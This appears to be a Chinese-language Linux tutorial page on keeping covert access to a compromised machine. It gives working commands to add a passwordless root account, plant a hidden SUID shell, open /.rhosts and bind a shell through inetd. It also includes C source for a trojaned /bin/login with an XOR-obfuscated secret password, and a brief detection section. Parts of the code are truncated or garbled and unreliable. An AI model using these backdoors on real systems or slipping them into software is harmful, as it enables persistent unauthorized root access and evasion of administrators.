歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux綜合 >> Linux資訊 >> 更多Linux

奇貨可居Linux後門技術及實踐方法談

  後門簡介    入侵者完全控制系統後,為方便下次進入而采用的一種技術。    一般通過修改系統配置文件和安裝第三方後門工具來實現。 具有隱蔽性,能繞開系統日志,不易被系統管理員發現等特點。    常用後門技術    增加超級用戶賬號  破解/嗅探用戶密碼  放置SUID Shell  rhosts + +  利用系統服務程序  TCP/UDP/ICMP Shell  Crontab定時任務  共享庫文件  工具包rootkit  可裝載內核模塊(LKM)    增加超級用戶    # echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd  # echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow    如果系統不允許uid=0的用戶遠程登錄,還需要增加一個普通用戶賬號。    破解/嗅探用戶密碼    獲得shadow文件後,用John the Ripper 工具破解薄弱的用戶密碼。安裝sniffit等嗅探工具,監聽telnet、FTP等端口,收集用戶密碼。    放置SUID Shell    # cp /bin/bash /dev/.rootshell  # chmod u+s /dev/.rootshell    普通用戶在本機運行/dev/.rootshell,即可獲得一個root權限的shell。    rhosts + +    # echo "+ +" > /.rhosts  # rsh -l root victim.com csh -i    遠程可以得到一個rootshell。    利用系統服務程序    修改/etc/inetd.conf, daytime stream tcp nowait /bin/sh sh -I ;用trojan程序替換in.telnetd、in.rexecd等inted的服務程序  重定向login程序    TCP/UDP/ICMP Shell    BindShell,大部分是基於TCP/UDP協議的網絡服務程序,在高端口監聽,很容易被發現。Ping Backdoor,通過ICMP包激活後門,形成一個Shell通道。    TCP ACK數據包後門,能夠穿越防火牆。    Crontab定時任務    通過Crontab程序調度已安裝的後門程序定時運行,一般在深夜時段,是系統管理員不在線的時間。    共享庫文件    在共享庫中嵌入後門函數使用後門口令激活Shell,獲得權限能夠躲避系統管理員對二進制文件本身的校驗    工具包rootkit    包含一系列系統及後門工具:    - 清除日志中的登錄記錄  - 偽裝校驗和  - 替換netstat、ps等網絡工具  - 後門登錄程序易於安裝和使用    可裝載內核模塊(LKM)    LKM:Loadable Kernel Modules 動態的加載,不需要重新編譯內核。    截獲系統調用,具有隱藏目錄、文件、進程、網絡連接等強大功能。    自身隱蔽性好,發現難度較大。    著名的LKM包有adore和knark。    後門的檢測    以自己的經驗,結合特定的工具,手工作一些檢測。    使用Tripwire或md5校驗來檢查系統。    借助IDS系統,監聽到目標機器的可疑網絡連接。    實例:login後門    入侵者先把原始的/bin/login備份,再用一段程序替換/bin/login。入侵者telnet登錄進來的時候,通過環境變量或者終端類型  傳遞了正確的後門密碼,將直接獲得一個Shell;如果是普通用戶登錄,將會重定向到原始的login文件,來處理正常的登錄。    最簡單的login後門ulogin.c源代碼如下:    實例:login後門    #include   #define PASSWord "passWORD"  #define _PATH_LOGIN "/sbin/logins"    main (argc, argv, envp)  int argc;  char **argv, **envp;  {  char *display = getenv("DISPLAY");  if ( display == NULL ) {  execve(_PATH_LOGIN, argv, envp);  perror(_PATH_LOGIN);  exit(1);  }  if (!strcmp(display,PASSWORD)) {  system("/bin/csh");  exit(1);  }  execve(_PATH_LOGIN, argv, envp);  exit(1);  }    利用後門登錄    首先Telnet服務是打開的,在自己機器上:    bash$ eXPort DISPLAY=passWORD  bash$ telnet victim.com  Trying xxx.xxx.xxx.xxx...  Connected to victim.com (xxx.xxx.xxx.xxx).  Escape character is '^]'.  % _    strings命令    strings命令能夠打印出二進制文件中的可顯示字符串,用於剛才的ulogin程序:    bash$ strings ulogin  /lib/ld-Linux.so.2  ..............  DISPLAY  /sbin/logins  passWORD  /bin/csh    加密後門密碼    1,采用DES算法,即crypt( )函數,編寫gen.c程序:    #include   main(int argc, char *argv[])  {  if (argc != 3) {  printf("usage: %s

\n", argv[0]);  exit(1);  }  printf("%s\n", crypt(argv[1], argv[2]));  }    2、編譯為gen,執行./gen hack ui,得到的shadow結果為UiVqMWvDrIQjA。    3、修改後門源程序ulogin.c:    -- 以密文形式的密碼代替ulogin.c中define的宏PASSWORD值。    -- 如果後門密碼正確,直接給出Shell:    if (!strcmp(PASSWORD, crypt(display,PASSWORD)))  {  system(SHELL);  exit(1);  }    用strings命令只能看到加密過的密碼。    采用異或(XOR)算法    以十六進制方式表示字符串,以達到non- printable的效果    1、編碼程序encode.c如下:    char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a";  char *de(char *str,char *key)  {  int i=0,j=0,len;  len=strlen(key);  while(str[i] != '\0') {  str[i]^=key[j];  j++;  if(j==len) j=0;  i++;  }  return str;  }  void display(char *str)  {  int i;  for(i=0;i> ulogin    Login後門的檢測    使用命令md5sum對現有/bin/login文件作校驗,與以前的值作比較。    使用Red Hat Linux的RPM校驗:    # rpm -V util-linux    在入侵者已經利用後門登錄的情況下,who是看不到用戶的,查看系統進程,查找login -h xxx.xxx.xxx.xxx的字樣。




Copyright © Linux教程網 All Rights Reserved